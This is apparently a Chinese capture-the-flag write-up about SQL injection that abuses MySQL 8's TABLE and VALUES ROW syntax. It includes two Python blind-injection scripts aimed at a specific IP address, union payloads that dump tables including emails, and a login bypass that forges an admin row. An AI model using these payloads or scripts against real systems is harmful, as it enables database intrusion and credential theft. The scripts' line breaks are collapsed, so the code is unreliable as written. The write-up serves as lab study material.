MySQL8 新特性注入:
基础学习:
https://juejin.cn/post/6997306070955720717
这种注入有四个坑点(这篇文章)
https://blog.csdn.net/rfrder/article/details/118726022
判断 and 1 and 0 回显不同注入存在
准备union直接盲注的时候,发现禁用select,
先用盲注脚本获得版本号等信息
import requestsreq=requests.session()flag=""for j in range(1,500):sta=32end=128while sta < end:# print(sta,end)mid = (sta+end)//2payload=f"http://59.110.159.206:7010/?id=1 and (ascii(substr(version(),{j},1))>{mid})--+"res=req.get(url=payload)print(payload)if(end==sta+1):breakif 'Dumb' in res.text:sta=midelse:end=midprint(mid)if min !=32:flag+=chr(mid+1)else:breakprint(flag)
数据库为mysql,版本8.0.28
可以用新特性注入
判断字段数
?id=-1/**/union/**/values/**/row('1','2','3')?id=-1/**/union/**/values/**/row('1',database(),'3')
获得当前数据库名
用下面垃圾脚本一位位爆表名:
有users,email,FLAG,表
users表和FLAG表都可以爆出字段值
但是email表死活爆不出来
import requestsreq = requests.session()for i in '/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_.{|}~':payload = f"http://59.110.159.206:7010/?id=1 and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+"# payload = f"http://59.110.159.206:7010/?id=1 and (('','')<(table users limit 6,1))--+"res = req.get(url=payload)print(payload)print(res.text)if 'Dumb' in res.text:print(i)
[http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+
爆表名payload = f"[http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('','')<(table users limit 6,1))--+"
爆user表的字段值(先要测出字段数)
因为盲注爆不出emails的值,直接用
table +limit来查邮箱:
?id=-1//union//table emails limit 7,1
获得源码:
下载源码有username 和passwd参数:
从user表爆出 admin,但是没有passwd,
使用 values 创建一个新表username=-1' union values row("admin","admin","admin")%23&passwd=admin
覆盖密码为admin,直接出flag
